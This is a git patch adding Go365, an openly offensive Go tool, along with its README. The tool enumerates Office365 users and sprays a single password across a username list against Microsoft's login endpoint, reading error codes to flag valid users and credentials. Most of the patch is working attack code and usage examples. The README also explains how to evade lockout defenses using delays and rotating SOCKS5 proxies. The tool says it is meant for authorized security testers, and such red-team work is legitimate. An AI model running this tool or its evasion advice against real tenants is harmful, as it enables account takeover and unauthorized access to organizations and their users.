From 69a69883d67355aadf318505d51388eb2a87aedc Mon Sep 17 00:00:00 2001 From: pavetheway Date: Wed, 1 Jul 2020 02:46:46 -0500 Subject: [PATCH] Initial Upload Go forth and conquer. --- Go365.go | 355 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ README.md | 148 ++++++++++++++++++++++- 2 files changed, 502 insertions(+), 1 deletion(-) create mode 100644 Go365.go diff --git a/Go365.go b/Go365.go new file mode 100644 index 0000000..b71999a --- /dev/null +++ b/Go365.go @@ -0,0 +1,355 @@ +/* +Go365 + +authors: h0useh3ad, paveway3, S4R1N + +license: MIT + +Copyright 2020 Optiv Inc. +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: +The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +This tool is intended to be used by security professionals that are AUTHORIZED to test the domain targeted by this tool. + +needs: +- Add a pre-test that enumerates the target domain and determines if it is a viable target for this particular endpoint. +- Error handling in a few areas. + e.g... Setting up proxy (e.g. verify proxy server is up, handle timeouts, etc.) +- Debug mode output? +- Output file option should check if a file already exists. +- When parsing flagUsernameFile, include code that checks if the file exists (and exits if it doesn't), and check the lines to see if they have an "@" symbol (if they do, exit). + +wants: +- Create more functions. So far this tool handles most logic in the main and doTheStuff functions. Might be a more logical way to do this. +- ... +*/ + +package main + +import ( + "bufio" + "bytes" + "flag" + "fmt" + "github.com/beevik/etree" + "github.com/fatih/color" + "golang.org/x/net/proxy" + "io/ioutil" + "log" + "net/http" + "os" + "strings" + "time" + "math/rand" +) + +const ( + version = "0.1" + tool = "Go365" + authors = "h0useh3ad, paveway3, S4R1N" + targetURL = "https://login.microsoftonline.com/rst2.srf" // keep an eye on this url. + usage = ` Usage: + ./Go365 -ul -p -d [OPTIONS] + Options: + -h, Show this stuff + + Required: + -ul Username list to use + - file should contain one username per line WITHOUT "@domain.com" + (-ul ./usernamelist.txt) + -p Password to attempt + - enclose in single quotes if it contains special characters + (-p password123 OR -p 'p@s$w0|2d') + -d Domain to test + (-d testdomain.com) + + Opions: + -w Time to wait between attepmts in seconds. + - Default: 1 second. 5 seconds recommended. + (-w 10) + -o Output file to write to + - Will overwrite! + (-o ./output.out) + -proxy Single proxy server to use + - IP address and Port separated by a ":" + - Has only been tested using SSH SOCKS5 proxies + (-proxy 127.0.0.1:1080) + -proxyfile A file with a list of proxy servers to use + - IP address and Port separated by a ":" on each line + - Randomly selects a proxy server to use before each request + - Has only been tested using SSH SOCKS5 proxies + (-proxyfile ./proxyfile.txt) + + Examples: + ./Go365 -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com + ./Go365 -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 + ./Go365 -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt + ./Go365 -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxy 127.0.0.1:1080 + ./Go365 -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxyfile ./proxyfile.txt +` + banner = ` + ██████  ██████  ██████  ██████ + ██             ██ ██       ██      + ██  ███  ████   █████  ███████  ██████ + ██  ██ ██  ██      ██ ██    ██      ██ +  ██████   ████  ██████   ██████  ██████ +` +) + +func wait(wt int) { + waitTime := time.Duration(wt) * time.Second + time.Sleep(waitTime) +} + +func writeOutput(writeFilePath string, writeString string) { + f, err := os.OpenFile(writeFilePath, os.O_APPEND|os.O_WRONLY, 0644) + l, err := f.WriteString(writeString+"\n") + if err != nil { + fmt.Println(err) + f.Close() + return + } + _ = l +} + +func randomProxy(proxies []string) string { + var proxy string + if len(proxies) > 0 { + proxy = proxies[rand.Intn(len(proxies))] + } + return proxy +} + +func doTheStuff(un string, pw string, prox string) string { + var returnString string + + requestBody := fmt.Sprintf(` + + + http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue + https://login.microsoftonline.com/rst2.srf + + 5 + Managed IDCRL + + + + `+un+` + `+pw+` + + + + + + http://schemas.xmlsoap.org/ws/2005/02/trust/Issue + + + online.lync.com + + + + + + `) + + client := &http.Client{} + + if prox != "" { + dialSOCKSProxy, err := proxy.SOCKS5("tcp", prox, nil, proxy.Direct) + if err != nil { + fmt.Println("Error connecting to proxy.") + } + tr := &http.Transport{Dial: dialSOCKSProxy.Dial} + client = &http.Client{ + Transport: tr, + Timeout: 15 * time.Second, + } + } + + request, err := http.NewRequest("POST", targetURL, bytes.NewBuffer([]byte(requestBody))) + request.Header.Add("User-Agent", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)") + if err != nil { + panic(err) + } + + response, err := client.Do(request) + if err != nil { + panic(err) + } + + defer response.Body.Close() + body, err := ioutil.ReadAll(response.Body) + if err != nil { + print(err) + } + + xmlResponse := etree.NewDocument() + xmlResponse.ReadFromBytes(body) + + x := xmlResponse.FindElement("//psf:text") + if x == nil { + returnString = color.GreenString("[+] Possible valid login! "+un+" : "+pw) + return returnString + } + t := xmlResponse.FindElement("//psf:text") + if strings.Contains(t.Text(), "AADSTS50059") { + fmt.Println(color.RedString("[-] Domain not found in o365 directory. Exiting...")) + os.Exit(0) // no need to continue if the domain isn't found + } else { + if strings.Contains(t.Text(), "AADSTS50034") { + returnString = color.RedString("[-] User not found: "+un) + } else { + if strings.Contains(t.Text(), "AADSTS50126") { + returnString = color.YellowString("[-] Valid user, but invalid password: "+un) + } else { + if strings.Contains(t.Text(), "AADSTS50056") { + returnString = color.YellowString("[!] User exists, but unable to determine if the password is correct: "+un) + } else { + if strings.Contains(t.Text(), "AADSTS50053") { + returnString = color.MagentaString("[-] Account locked out: "+un) + } //need: add an else here as a catch-all that says "unknown error code" or something + } + } + } + } + return returnString +} + +type flagVars struct { + flagHelp bool + flagUsernameFile string + flagDomain string + flagPassword string + flagWaitTime int + flagProxy string + flagProxyFile string + flagOutFilePath string + +} + +func flagOptions() *flagVars { + flagHelp := flag.Bool("h", false, "") + flagUsernameFile := flag.String("ul", "", "") + flagDomain := flag.String("d", "", "") + flagPassword := flag.String("p", "", "") + flagWaitTime := flag.Int("w", 1, "") + flagProxy := flag.String("proxy", "", "") + flagOutFilePath := flag.String("o", "", "") + flagProxyFile := flag.String("proxyfile", "", "") + + flag.Parse() + + return &flagVars { + flagHelp: *flagHelp, + flagUsernameFile: *flagUsernameFile, + flagDomain: *flagDomain, + flagPassword: *flagPassword, + flagWaitTime: *flagWaitTime, + flagProxy: *flagProxy, + flagProxyFile: *flagProxyFile, + flagOutFilePath: *flagOutFilePath} + } + +func main() { + + fmt.Println(color.BlueString(banner)) + fmt.Println(color.RedString(" Version: ") + version) + fmt.Println(color.RedString(" Authors: ") + authors + "\n") + fmt.Println(" This tool is currently in development.\n") + + var usernameFile string + var password string + var domain string + var outFilePath string + var proxyListArray []string + + rand.Seed(time.Now().UnixNano()) + + opt := flagOptions() + + //-h + if opt.flagHelp { + fmt.Printf("%s\n", usage) + os.Exit(0) + } + + // -ul + if !(opt.flagUsernameFile == "") { + usernameFile = opt.flagUsernameFile + } else { + fmt.Printf("%s\n", usage) + fmt.Println(color.RedString("Must provide a user list. E.g. -ul ./userlist.txt")) + os.Exit(0) + } + + // -p + if !(opt.flagPassword == "") { + password = opt.flagPassword + } else { + fmt.Printf("%s\n", usage) + fmt.Println(color.RedString("Must provide a password to test against the users. E.g. -p 'password123!'")) + os.Exit(0) + } + + // -d + if !(opt.flagDomain == "") { + domain = fmt.Sprintf("@"+opt.flagDomain) + } else { + fmt.Printf("%s\n", usage) + fmt.Println(color.RedString("Must provide a domain. E.g. -d testdomain.com")) + os.Exit(0) + } + + // -proxy + if opt.flagProxy != "" { + proxyListArray = append(proxyListArray, opt.flagProxy) + fmt.Println(color.GreenString("[!] Optional proxy settings configured: "+opt.flagProxy)) + + } else if !(opt.flagProxyFile == "") { + fmt.Println(color.GreenString("[!] Optional proxy file configured: "+opt.flagProxyFile)) + proxyList, err := os.Open(opt.flagProxyFile) + if err != nil { + log.Fatal(err) + } + defer proxyList.Close() + proxies := bufio.NewScanner(proxyList) + for proxies.Scan() { + proxyListArray = append(proxyListArray, proxies.Text()) + } + } + + // -o + if !(opt.flagOutFilePath == "") { + outFilePath = opt.flagOutFilePath + fmt.Println(color.GreenString("[!] Optional output file configured: "+outFilePath)) + f, err := os.Create(outFilePath) + if err != nil { + return + } + _ = f + } + + // do the stuff + usernameList, err := os.Open(usernameFile) //open and load the username file + if err != nil { + log.Fatal(err) + } + defer usernameList.Close() //close the username file + usernames := bufio.NewScanner(usernameList) + for usernames.Scan() { //iterate through the usernames + user := usernames.Text() + domain + result := doTheStuff(user, password, randomProxy(proxyListArray)) + if !(outFilePath == "") { + writeOutput(outFilePath, result) + } + fmt.Println(result) + wait(opt.flagWaitTime) + } + if err := usernames.Err(); err != nil { + log.Fatal(err) + } + if !(outFilePath == "") { + fmt.Println(color.GreenString("[!] Output file located at: "+outFilePath)) + } + os.Exit(0) +} diff --git a/README.md b/README.md index 11bf02d..0e70d9e 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,148 @@ # Go365 -An Office365 User Attack Tool + +**This tool is still in development. Please read all of this README before using Go365!** + +Go365 is a tool designed to perform user enumeration and password guessing attacks on organizations that use Office365 (now/soon Microsoft365). Go365 uses a unique SOAP API endpoint on login.microsoftonline.com that most other tools do not use. When queried with an email address and password, the endpoint responds with an Azure AD Authentication and Authorization code. This code is then processed by Go365 and the result is printed to screen or an output file. + + +##### Read these three bullets! +- This tool might not work on **all** domains that utilize o365. Tests show that it works with most federated domains. Some domains will only report valid users even if a valid password is also provided. Your results may vary! +- The domains this tool was tested on showed that it did not actually lock out accounts after multiple password failures. Your results may vary! +- This tool is intended to be used by security professionals that are authorized to "attack" the target organization's o365 instance. + + +## Obtaining + +#### Option 1 +Download a pre-compiled binary for your OS HERE. + +#### Option 2 +Download the source and compile locally. +1. Install Go. +2. Go get some packages: + ```go get github.com/beevik/etree + go get github.com/fatih/color + go get golang.org/x/net/proxy``` +3. Clone the repo. +4. Navigate to the repo and compile ya dingus. + + ```go build Go365.go``` +5. Run the resulting binary and enjoy :) + + +## Usage +``` +$ ./Go365 -h + + ██████  ██████  ██████  ██████ + ██             ██ ██       ██ + ██  ███  ████   █████  ███████  ██████ + ██  ██ ██  ██      ██ ██    ██      ██ +  ██████   ████  ██████   ██████  ██████ + + Version: 0.1 + Authors: h0useh3ad, paveway3, S4R1N + + This tool is currently in development. + + Usage: + ./Go365 -ul -p -d [OPTIONS] + Options: + -h, Show this stuff + + Required: + -ul Username list to use + - file should contain one username per line WITHOUT "@domain.com" + (-ul ./usernamelist.txt) + -p Password to attempt + - enclose in single quotes if it contains special characters + (-p password123 OR -p 'p@s$w0|2d') + -d Domain to test + (-d testdomain.com) + + Opions: + -w Time to wait between attepmts in seconds. + - Default: 1 second. 5 seconds recommended. + (-w 10) + -o Output file to write to + - Will overwrite! + (-o ./output.out) + -proxy Single proxy server to use + - IP address and Port separated by a ":" + - Has only been tested using SSH SOCKS5 proxies + (-proxy 127.0.0.1:1080) + -proxyfile A file with a list of proxy servers to use + - IP address and Port separated by a ":" on each line + - Randomly selects a proxy server to use before each request + - Has only been tested using SSH SOCKS5 proxies + (-proxyfile ./proxyfile.txt) + + Examples: + ./Go365 -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com + ./Go365 -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 + ./Go365 -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt + ./Go365 -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxy 127.0.0.1:1080 + ./Go365 -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxyfile ./proxyfile.txt + +``` + + + +### Examples +_no u_ + + + + +## Account Locked Out! (Domain Defenses) + +**protip:** _You probably aren't **actually** locking out acocunts._ + +After a number of queries against a target domain, results might start reporting that accounts are locked out. + +Once this defense is triggered, **user enumeration becomes unreliable since both valid and invalid will randomly report that their accounts have been locked out**. +``` +... +[-] User not found: test.user90@pwnthisfakedomain.com +[-] User not found: test.user91@pwnthisfakedomain.com +[-] Valid user, but invalid password: test.user92@pwnthisfakedomain.com +[!] Account Locked Out: real.user1@pwnthisfakedomain.com +[-] Valid user, but invalid password: test.user93@pwnthisfakedomain.com +[!] Account Locked Out: valid.user94@pwnthisfakedomain.com +[!] Account Locked Out: jane.smith@pwnthisfakedomain.com +[-] Valid user, but invalid password: real.user95@pwnthisfakedomain.com +[-] Valid user, but invalid password: fake.user96@pwnthisfakedomain.com +[!] Account Locked Out: valid.smith@pwnthisfakedomain.com +... +``` + + +This is a defensive mechanism triggered by the number of **valid** user queries within a certain period of **time**. The number of attempts and the period of time will vary depending on the target domain since the thresholds can be customized by the target organization. + + + +### Countering Defenses +The defensive mechanism is **time** and **IP address** based. Go365 provides options to include a wait time between requests and proxy options to distribute the source of the requests. To circumvent the defensive mechanisms on your target domain, use a long wait time and multiple proxy servers. + +A wait time of 5 seconds is recommended. ``` -w 5``` + +Note: Proxy options have only been tested on SSH dynamic proxies. + + +Create a bunch of SOCKS5 proxies and make a file that looks like this: +``` +127.0.0.1:8081 +127.0.0.1:8082 +127.0.0.1:8083 +127.0.0.1:8084 +127.0.0.1:8085 +127.0.0.1:8086 +... +``` +The tool will randomly iterate through the provided proxy servers and wait for the specified amount of time between requests. + + ```-w 5 -proxyfile ./proxies.txt``` + + +### Example +Watch this tool in action! https://www.youtube.com/watch?v=b9CK37sqoz0